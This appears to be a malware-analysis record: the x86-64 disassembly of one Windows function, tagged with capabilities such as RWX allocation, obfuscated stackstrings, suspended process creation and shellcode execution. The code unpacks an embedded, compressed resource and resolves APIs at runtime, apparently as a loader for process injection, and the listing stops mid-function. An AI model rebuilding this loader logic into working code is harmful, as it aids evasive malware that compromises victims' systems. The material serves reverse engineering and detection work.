Function at 0x14000274c
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Execute shellcode via indirect call
Extract resource via kernel32 functions
Link many functions at runtime

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x7b8]
sub rsp, 0x890
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x780], rax
xor r15d, r15d
movsd xmm0, qword [str.3_e_t_VUVZef7]
movsd qword [rbp + 0x220], xmm0
mov eax, dword [0x140007710]
mov dword [rbp + 0x228], eax
movzx eax, word [0x140007714]
mov word [rbp + 0x22c], ax
mov al, byte [0x140007716]
mov byte [rbp + 0x22e], al
lea rcx, [rbp + 0x220]
call fcn.140001c24
cmp byte [0x14000b06b], r15b
je 0x1400027d6
call fcn.140002558
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
lea r8, [0x140007718]
mov edx, 0x85
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
test rax, rax
je 0x14000282e
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000282e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14000282e
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x140002834
mov eax, r15d
mov rbx, r15
mov dword [0x14000b950], eax
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [0x14000b970], rbx
lea r8, [0x14000b960]
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.Cabinet.dll_CreateDecompressor]
test eax, eax
je 0x1400028e7
mov r8d, dword [0x14000b950]
lea rbx, [0x14000b958]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov rdx, qword [0x14000b970]
mov rcx, qword [0x14000b960]
call qword [sym.imp.Cabinet.dll_Decompress]
test eax, eax
jne 0x1400028b4
mov rcx, qword [0x14000b958]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rax
mov qword [0x14000b930], rax
test rax, rax
je 0x1400028e7
jmp 0x1400028bb
mov r9, qword [0x14000b930]
mov r8d, dword [0x14000b950]
mov qword [rsp + 0x28], rbx
mov rax, qword [0x14000b958]
mov qword [rsp + 0x20], rax
mov rdx, qword [0x14000b970]
mov rcx, qword [0x14000b960]
call qword [sym.imp.Cabinet.dll_Decompress]
mov dword [rbp - 0x80], 0x34656744
mov dword [rbp - 0x7c], 0x2a424868
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
mov r13d, 0xf
mov qword [rbp + 0x270], r13
lea eax, [r13 - 6]
mov qword [rbp + 0x268], rax
movsd xmm0, qword [rbp - 0x80]
movsd qword [rbp + 0x258], xmm0
mov word [rbp + 0x260], Decompress
mov dword [rsp + 0x50], 0x2b433837
mov dword [rsp + 0x54], 0x652d4e69
mov byte [rsp + 0x58], 0x4f
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a8], r13
mov qword [rbp + 0x2a0], rax
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp + 0x290], xmm0
mov word [rbp + 0x298], 0x4f
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x258]
call fcn.140004bf4
lea rdx, [rbp + 0x258]
lea rcx, [rbp - 0x30]
call fcn.140004cd8
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140001350
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], r15
mov qword [rbp + 0x308], r15
mov r8, qword [0x14000b958]
mov rdx, qword [0x14000b930]
lea rcx, [rbp + 0x2f0]
call fcn.140005614
nop
lea r8, [rbp + 0x2f0]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x278], xmm0
mov qword [rbp + 0x288], rax
lea rcx, [rbp + 0x238]
mov rbx, qword [rbp + 0x248]
cmp qword [rbp + 0x250], 0x10
jb 0x140002a29
mov r14, qword [rbp + 0x238]
add rbx, r14
jmp 0x140002a33
add rbx, rcx
lea r14, [rbp + 0x238]
movdqu xmmword [rbp + 0x278], xmm0
mov rsi, r15
mov qword [rbp + 0x288], r15
mov r12d, 0x1000
sub rbx, r14
je 0x140002aca
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x14000414a
cmp rbx, r12
jb 0x140002a91
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140004144
call fcn.140005bd8
test rax, rax
je 0x140003fdb
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002a9c
mov rcx, rbx
call fcn.140005bd8
mov rdi, rax
mov qword [rsp + 0x50], rdi
mov qword [rbp + 0x278], rdi
lea rsi, [rdi + rbx]
mov qword [rbp + 0x288], rsi
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x280], rsi
jmp 0x140002ad6
mov rdi, qword [rbp + 0x278]
mov qword [rsp + 0x50], rdi
mov rcx, qword [0x14000b958]
call fcn.140005e64
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], r15
lea rax, [rbp + 0x220]
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140002b08
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x1f0]
call fcn.140005614
nop
lea r8, [rbp + 0x1f0]
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
nop
cmp qword [rax + 0x18], 0x10
jb 0x140002b4a
mov rax, qword [rax]
mov r8, qword [0x14000b958]
mov rdx, rax
mov rcx, rdi
call fcn.140001648
mov qword [rbp - 0x80], rax
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140002ba0
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, r12
jb 0x140002b9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], r13
mov byte [rbp + 0x110], r15b
mov rdx, qword [rbp + 0x208]
cmp rdx, 0x10
jb 0x140002bf5
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, r12
jb 0x140002bf0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bf0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
movsd xmm0, qword [str.q_7_eNH]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x140007728]
mov word [rbp - 0x48], ax
movups xmm0, xmmword [str.Q_tF_0fEPAtXnRqsp_M]
movups xmmword [rbp + 8], xmm0
mov eax, dword [0x140007740]
mov dword [rbp + 0x18], eax
movzx eax, word [0x140007744]
mov word [rbp + 0x1c], ax
mov al, byte [0x140007746]
mov byte [rbp + 0x1e], al
movups xmm0, xmmword [str.Q_gF_huG_Jt_1I86v]
movups xmmword [rbp + 0x38], xmm0
mov eax, dword [0x140007758]
mov dword [rbp + 0x48], eax
movups xmm0, xmmword [str.Q_0F0fEILwE_ZK2u_]
movups xmmword [rbp + 0x20], xmm0
mov eax, dword [0x140007770]
mov dword [rbp + 0x30], eax
mov al, byte [0x140007774]
mov byte [rbp + 0x34], al
movups xmm0, xmmword [str.Q_w_:JpPP_Pv4K4r]
movups xmmword [rbp - 0x10], xmm0
movzx eax, word [0x140007788]
mov word [rbp], ax
mov al, byte [0x14000778a]
mov byte [rbp + 2], al
movsd xmm0, qword [str.Q_v__1nG_JgE_]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x140007798]
mov dword [rbp - 0x38], eax
movzx eax, word [0x14000779c]
mov word [rbp - 0x34], ax
mov al, byte [0x14000779e]
mov byte [rbp - 0x32], al
movsd xmm0, qword [str.h___yfTt_Pg]
movsd qword [rbp + 0x210], xmm0
mov eax, dword [0x1400077a8]
mov dword [rbp + 0x218], eax
mov al, byte [0x1400077ac]
mov byte [rbp + 0x21c], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
lea rax, [rbp + 0x210]
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140002cf3
lea rdx, [rbp + 0x210]
lea rcx, [rsp + 0x60]
call fcn.140005614
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], r15
lea rax, [rbp + 0x220]
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140002d2d
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x70]
call fcn.140005614
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], r15
lea rax, [rbp - 0x50]
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140002d66
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x90]
call fcn.140005614
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], r15
lea rax, [rbp - 0x40]
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140002d9f
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xb0]
call fcn.140005614
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], r15
lea rax, [rbp - 0x10]
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140002dd8
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0xd0]
call fcn.140005614
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], r15
lea rax, [rbp + 0x20]
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140002e08
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x50]
call fcn.140005614
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], r15
lea rax, [rbp + 0x38]
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140002e3e
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0xf0]
call fcn.140005614
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], r15
lea rax, [rbp + 8]
mov r8, rbx
inc r8
cmp byte [rax + r8], r15b
jne 0x140002e77
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x1f0]
call fcn.140005614
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
mov qword [rbp + 0x230], rax
lea r8, [rbp + 0x70]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
mov qword [rbp + 0x220], rax
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
mov qword [rbp + 0x210], rax
lea r8, [rbp + 0xb0]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
mov r13, rax
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
mov r12, rax
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
mov r15, rax
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
mov r14, rax
lea r8, [rbp + 0x1f0]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140002f82
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400059c8
lea rdx, [0x1400054d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x140002faf
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
mov rcx, rax
call fcn.1400059c8
lea r14, [0x1400054d0]
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r15
cmp qword [r15 + 0x18], 0x10
jb 0x140002fdb
mov rdx, qword [r15]
mov r8, qword [r15 + 0x10]
mov rcx, rax
call fcn.1400059c8
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r12
mov r15d, 0x10
cmp qword [r12 + 0x18], r15
jb 0x140003007
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
mov rcx, rax
call fcn.1400059c8
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r13
cmp qword [r13 + 0x18], r15
jb 0x14000302d
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
mov rcx, rax
call fcn.1400059c8
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rax, qword [rbp + 0x210]
mov rdx, rax
cmp qword [rax + 0x18], r15
jb 0x14000305b
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.1400059c8
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rax, qword [rbp + 0x220]
mov rdx, rax
cmp qword [rax + 0x18], r15
jb 0x140003086
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.1400059c8
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rax, qword [rbp + 0x230]
mov rdx, rax
cmp qword [rax + 0x18], r15
jb 0x1400030b1
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.1400059c8
mov rcx, rax
mov rdx, r14
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x148]
mov r14d, 0x1000
cmp rdx, r15
jb 0x14000310c
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, r14
jb 0x140003107
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003107
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
xor r13d, r13d
mov qword [rbp + 0x140], r13
lea r12d, [r13 + 0xf]
mov qword [rbp + 0x148], r12
mov byte [rbp + 0x130], r13b
mov rdx, qword [rbp + 0x168]
cmp rdx, r15
jb 0x140003167
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, r14
jb 0x140003162
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003162
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp + 0x160], r13
mov qword [rbp + 0x168], r12
mov byte [rbp + 0x150], r13b
mov rdx, qword [rbp + 0x188]
cmp rdx, r15
jb 0x1400031bb
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, r14
jb 0x1400031b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400031b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp + 0x180], r13
mov qword [rbp + 0x188], r12
mov byte [rbp + 0x170], r13b
mov rdx, qword [rbp + 0x1a8]
cmp rdx, r15
jb 0x14000320f
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, r14
jb 0x14000320a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000320a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp + 0x1a0], r13
mov qword [rbp + 0x1a8], r12
mov byte [rbp + 0x190], r13b
mov rdx, qword [rbp + 0x1c8]
cmp rdx, r15
jb 0x140003263
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, r14
jb 0x14000325e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000325e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1c8], r12
mov byte [rbp + 0x1b0], r13b
mov rdx, qword [rbp + 0x1e8]
cmp rdx, r15
jb 0x1400032b7
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, r14
jb 0x1400032b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], r12
mov byte [rbp + 0x1d0], r13b
mov rdx, qword [rbp - 0x58]
cmp rdx, r15
jb 0x140003305
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r14
jb 0x140003300
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003300
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r12
mov byte [rbp - 0x70], r13b
mov rdx, qword [rbp - 0x18]
cmp rdx, r15
jb 0x14000334a
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r14
jb 0x140003345
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003345
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r12
mov byte [rbp - 0x30], r13b
mov rdx, qword [rbp + 0x208]
cmp rdx, r15
jb 0x140003396
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, r14
jb 0x140003390
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003390
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, r15
jb 0x1400033d6
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, r14
jb 0x1400033d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, r15
jb 0x140003410
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, r14
jb 0x14000340a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000340a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, r15
jb 0x140003450
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, r14
jb 0x14000344a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000344a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, r15
jb 0x140003490
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, r14
jb 0x14000348a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000348a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, r15
jb 0x1400034d0
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, r14
jb 0x1400034ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400034ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, r15
jb 0x14000350d
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, r14
jb 0x140003507
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003507
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, r15
jb 0x140003548
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r14
jb 0x140003543
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003543
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov r12, qword [rbp - 0x80]
movsxd r14, dword [r12 + 0x3c]
add r14, r12
cmp dword [r14], 0x4550
jne 0x140003fb1
mov r8d, 0x104
lea rdx, [rbp + 0x380]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp - 0x50]
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x14000358f
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x60]
call fcn.140005614
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
cmp qword [rax + 0x18], r15
jb 0x1400035c5
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000360f
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000360a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000360a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], r13b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000365f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000365a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000365a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp + 8]
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x140003678
lea rdx, [rbp + 8]
lea rcx, [rsp + 0x60]
call fcn.140005614
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
cmp qword [rax + 0x18], 0x10
jb 0x1400036af
mov rax, qword [rax]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000b968], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140003700
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036fb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r13b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140003750
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000374b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000374b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
cmp qword [0x14000b968], r13
je 0x140003e45
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp + 0x38]
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x140003776
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.140005614
